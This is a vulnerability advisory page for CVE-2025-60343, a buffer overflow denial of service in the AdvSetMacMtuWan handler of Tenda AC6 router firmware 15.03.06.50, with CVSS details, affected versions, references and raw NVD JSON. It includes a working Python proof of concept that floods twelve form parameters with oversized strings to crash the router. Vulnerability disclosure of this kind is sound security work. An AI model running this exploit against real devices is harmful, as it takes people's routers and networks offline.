CVE-2025-60343

Description

Multiple buffer overflows in the AdvSetMacMtuWan function of Tenda AC6 v.15.03.06.50 allows attackers to cause a Denial of Service (DoS) via injecting a crafted payload into the wanMTU, wanSpeed, cloneType, mac, serviceName, serverName, wanMTU2, wanSpeed2, cloneType2, mac2, serviceName2, and serverName2 parameters.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:tenda:ac6_firmware:15.03.06.50:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:tenda:ac6:2.0:*:*:*:*:*:*:* - NOT VULNERABLE

Tenda AC6 < 15.03.06.51

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# CVE-2025-60343 PoC - Tenda AC6 Buffer Overflow in AdvSetMacMtuWan
# Target: Tenda AC6 Router (Firmware v15.03.06.50)

target_ip = "192.168.0.1"  # Default Tenda router IP
target_url = f"http://{target_ip}/goform/AdvSetMacMtuWan"

# Crafted payload with oversized parameters to trigger buffer overflow
payload = {
    'wanMTU': 'A' * 1000,  # Buffer overflow trigger
    'wanSpeed': 'B' * 1000,
    'cloneType': 'C' * 1000,
    'mac': 'D' * 1000,
    'serviceName': 'E' * 1000,
    'serverName': 'F' * 1000,
    'wanMTU2': 'G' * 1000,
    'wanSpeed2': 'H' * 1000,
    'cloneType2': 'I' * 1000,
    'mac2': 'J' * 1000,
    'serviceName2': 'K' * 1000,
    'serverName2': 'L' * 1000
}

try:
    response = requests.post(target_url, data=payload, timeout=10)
    print(f"[*] Request sent to {target_url}")
    print(f"[*] Status Code: {response.status_code}")
    print(f"[*] Response: {response.text[:200]}")
    print("[*] If device becomes unresponsive, DoS successful!")
except requests.exceptions.RequestException as e:
    print(f"[!] Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-60343
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-60343
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-60343/
[4] VulDB https://vuldb.com/cve/CVE-2025-60343
[5] https://github.com/z472421519/BinaryAudit/blob/main/PoC/BOF/Tenda/AdvSetMacMtuWan/AdvSetMacMtuWan.md

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-60343", "sourceIdentifier": "[email protected]", "published": "2025-10-22T18:15:35.410", "lastModified": "2025-10-24T13:21:06.800", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Multiple buffer overflows in the AdvSetMacMtuWan function of Tenda AC6 v.15.03.06.50 allows attackers to cause a Denial of Service (DoS) via injecting a crafted payload into the wanMTU, wanSpeed, cloneType, mac, serviceName, serverName, wanMTU2, wanSpeed2, cloneType2, mac2, serviceName2, and serverName2 parameters."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-120"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:tenda:ac6_firmware:15.03.06.50:*:*:*:*:*:*:*", "matchCriteriaId": "ED890D2E-3860-4E6E-A1D4-FC0031430884"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:tenda:ac6:2.0:*:*:*:*:*:*:*", "matchCriteriaId": "E382AD7E-1450-40FC-AE9D-698B491805F0"}]}]}], "references": [{"url": "https://github.com/z472421519/BinaryAudit/blob/main/PoC/BOF/Tenda/AdvSetMacMtuWan/AdvSetMacMtuWan.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}